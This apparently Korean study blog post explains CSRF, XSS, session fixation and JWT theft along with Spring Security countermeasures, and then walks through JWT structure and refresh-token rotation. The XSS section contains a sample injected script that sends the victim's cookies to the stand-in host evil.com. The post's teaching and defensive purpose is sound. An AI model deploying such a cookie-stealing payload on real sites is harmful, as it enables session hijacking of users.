Weekly Paper

Weekly Paper #14

승주우에요 2026. 6. 9. 10:00

1. 4가지 주요 보안 공격과 대응 전략

① CSRF (Cross-Site Request Forgery)

공격 원리

피해자가 로그인된 상태에서 악성 사이트가 피해자 브라우저를 이용해 의도하지 않은 요청을 자동으로 전송하는 공격입니다.

1. 피해자 → 은행 사이트 로그인 (세션 쿠키 발급)
2. 피해자 → 악성 사이트 방문
3. 악성 사이트 → 피해자 브라우저로 은행 이체 요청 자동 전송
   (브라우저가 세션 쿠키를 자동으로 포함시킴)
4. 은행 서버 → 정상 요청으로 인식 → 이체 실행

대응 전략

CSRF Token 방식: 서버가 예측 불가능한 토큰을 발급하고, 요청 시 이 토큰이 포함되어 있는지 검증합니다.

// Spring Security 기본 CSRF 보호 활성화
@Configuration
public class SecurityConfig {

    @Bean
    public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
        http
            .csrf(csrf -> csrf
                .csrfTokenRepository(CookieCsrfTokenRepository.withHttpOnlyFalse())
            );
        return http.build();
    }
}

REST API (JWT 사용) 환경에서는 쿠키 대신 Authorization 헤더를 사용하므로 CSRF 위협이 낮아 비활성화합니다.

http.csrf(csrf -> csrf.disable());

추가 방어

  • SameSite=Strict 또는 SameSite=Lax 쿠키 설정
  • Referer / Origin 헤더 검증

② XSS (Cross-Site Scripting)

공격 원리

공격자가 악성 스크립트를 웹 페이지에 삽입하여 다른 사용자의 브라우저에서 실행시키는 공격입니다.

1. 공격자 → 게시판에 악성 스크립트 삽입
   예:fetch('<a href=https://evil.com?cookie='+document.cookie)>https://evil.com?cookie='+document.cookie)</a>2. 피해자 → 해당 게시글 조회 3. 피해자 브라우저 → 스크립트 실행 → 쿠키/토큰 탈취

대응 전략

// 1. 입력값 이스케이프 (Thymeleaf는 기본 적용)
// th:text 는 자동 이스케이프, th:utext 는 HTML 그대로 출력 (위험)
<p th:text="${userInput}">안전</p>      // 안전
<p th:utext="${userInput}">위험</p>     // 위험

// 2. Content-Security-Policy 헤더 설정
@Bean
public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
    http
        .headers(headers -> headers
            .contentSecurityPolicy(csp -> csp
                .policyDirectives("script-src 'self'; object-src 'none'")
            )
        );
    return http.build();
}

추가 방어

  • JWT를 로컬스토리지 대신 HttpOnly 쿠키에 저장 (스크립트로 접근 불가)
  • 사용자 입력값 서버 사이드 검증 및 이스케이프
  • X-XSS-Protection 헤더 설정

③ 세션 고정 공격 (Session Fixation)

공격 원리

공격자가 미리 세션 ID를 피해자에게 심어두고, 피해자가 로그인하면 공격자가 알고 있는 세션 ID로 인증 상태를 가로채는 공격입니다.

1. 공격자 → 서버에 세션 ID 발급 요청 (SESSIONID=abc123)
2. 공격자 → 피해자에게 해당 세션 ID가 포함된 링크 전송
3. 피해자 → 링크 클릭 후 로그인 (SESSIONID=abc123 그대로 사용)
4. 공격자 → 동일한 SESSIONID=abc123 으로 피해자 계정 접근

대응 전략

로그인 성공 시 반드시 새로운 세션 ID를 발급합니다.

@Bean
public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
    http
        .sessionManagement(session -> session
            .sessionFixation(fixation -> fixation
                .newSession()  // 로그인 성공 시 새 세션 생성 (기존 속성 복사 X)
                // 또는 .changeSessionId() → 세션 ID만 변경 (속성 유지)
            )
        );
    return http.build();
}

추가 방어

  • 세션 만료 시간 짧게 설정
  • 로그인 후 URL에 세션 ID 노출 금지
  • HTTPS 적용으로 세션 ID 탈취 방지

④ JWT 탈취 (JWT Theft)

공격 원리

XSS, 네트워크 스니핑 등으로 JWT를 탈취하여 해당 토큰이 만료될 때까지 피해자인 척 요청을 보내는 공격입니다.

1. 공격자 → XSS 또는 네트워크 스니핑으로 Access Token 탈취
2. 공격자 → 탈취한 토큰으로 API 요청
3. 서버 → 서명 검증만 하므로 정상 요청으로 처리
   (세션과 달리 서버에 저장된 게 없어서 즉시 무효화 불가)

대응 전략

// 1. Access Token 만료 시간 짧게 설정
String accessToken = Jwts.builder()
    .setExpiration(new Date(System.currentTimeMillis() + 1000 * 60 * 15)) // 15분
    .signWith(secretKey)
    .compact();

// 2. Refresh Token Rotation: Refresh Token 사용 시마다 새로 발급
@PostMapping("/reissue")
public ResponseEntity<?> reissue(@CookieValue String refreshToken) {
    // 기존 Refresh Token 검증
    validateRefreshToken(refreshToken);

    // 새 토큰 발급
    String newAccessToken = jwtProvider.createAccessToken(...);
    String newRefreshToken = jwtProvider.createRefreshToken(...); // 새로 발급

    // 기존 Refresh Token 블랙리스트 처리 (Redis)
    redisTemplate.opsForValue().set("blacklist:" + refreshToken, "logout", 7, TimeUnit.DAYS);

    return ResponseEntity.ok()
        .header("Authorization", "Bearer " + newAccessToken)
        .build();
}

추가 방어

  • JWT를 HttpOnly 쿠키에 저장 (XSS로 접근 불가)
  • HTTPS 필수
  • Redis 블랙리스트로 탈취된 토큰 즉시 무효화
  • Refresh Token은 DB/Redis에 저장하여 1회용으로 관리

2. JWT 구조

JWT란?

JSON Web Token의 약자로, 세 파트를 Base64로 인코딩하여 .으로 이어붙인 문자열입니다.

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9
.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IuyVmOy5tCIsImlhdCI6MTUxNjIzOTAyMn0
.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c

[Header].[Payload].[Signature]

Header (헤더)

토큰의 타입서명 알고리즘을 담고 있습니다.

{
  "alg": "HS256",   // 서명 알고리즘 (HMAC SHA-256)
  "typ": "JWT"      // 토큰 타입
}

이 JSON을 Base64Url로 인코딩한 것이 첫 번째 파트입니다.

알고리즘 종류

알고리즘 방식 특징

HS256 대칭키 서버만 검증 가능, 단순한 구조
RS256 비대칭키 공개키로 누구나 검증 가능, MSA 환경에 적합

Payload (페이로드)

실제로 전달할 데이터(클레임) 를 담고 있습니다.

{
  "sub": "1234567890",      // Subject: 토큰 주체 (보통 userId)
  "name": "홍길동",
  "role": "ROLE_USER",
  "iat": 1516239022,        // Issued At: 발급 시간
  "exp": 1516242622         // Expiration: 만료 시간
}

클레임 종류

종류 설명 예시

Registered Claims JWT 표준 정의 클레임 sub, iat, exp, iss
Public Claims 공개적으로 정의된 클레임 IANA 등록 네임스페이스 사용
Private Claims 서비스 자체 정의 클레임 role, userId, teamId

⚠️ Payload는 Base64 인코딩일 뿐, 암호화가 아닙니다. 민감한 정보(비밀번호, 카드번호 등)는 절대 담으면 안 됩니다.


Signature (서명)

Header + Payload를 비밀키로 서명한 값입니다. 토큰의 무결성을 보장합니다.

HMACSHA256(
  base64UrlEncode(header) + "." + base64UrlEncode(payload),
  secretKey
)

역할

  • 토큰이 중간에 변조되었는지 검증
  • 서버만 알고 있는 비밀키로 서명 → 위조 불가
  • 서버는 매 요청마다 서명을 재계산하여 비교
// Spring에서 서명 검증
try {
    Jwts.parserBuilder()
        .setSigningKey(secretKey)
        .build()
        .parseClaimsJws(token); // 서명 불일치 시 예외 발생
} catch (JwtException e) {
    throw new UnauthorizedException("유효하지 않은 토큰");
}

JWT 전체 흐름 정리

[로그인]
사용자 → 서버: ID/PW 전송
서버 → Header + Payload 생성 → Signature 생성 → JWT 발급

[인증]
사용자 → 서버: 요청 + JWT (Authorization: Bearer xxx)
서버 → Header.Payload 추출 → 서명 재계산 → 일치 확인 → 만료시간 확인 → 인증 완료

[변조 시도]
공격자 → Payload 수정 후 전송 (role: ADMIN으로 변조)
서버 → 서명 재계산 → 기존 서명과 불일치 → 401 Unauthorized

Access Token + Refresh Token 구조

Access Token  → 만료 15분~1시간, 매 요청에 사용
Refresh Token → 만료 7~30일, Access Token 재발급 시에만 사용
[정상 흐름]
1. 로그인 → Access Token + Refresh Token 발급
2. API 요청 → Access Token 사용
3. Access Token 만료 → Refresh Token으로 재발급 요청
4. 서버 → 새 Access Token 발급 (+ Refresh Token Rotation)

[Refresh Token 탈취 대응]
- Redis에 Refresh Token 저장
- 사용 시마다 새로운 Refresh Token 발급 (Rotation)
- 이미 사용된 Refresh Token으로 요청 오면 → 전체 토큰 무효화

'Weekly Paper' 카테고리의 다른 글

Weekly Paper #15  (0) 2026.06.09
Weekly Paper #13  (0) 2026.06.09
Weekly Paper #12  (0) 2026.05.11
Weekly Paper #10  (0) 2026.04.01
Weekly Paper #9  (0) 2026.03.23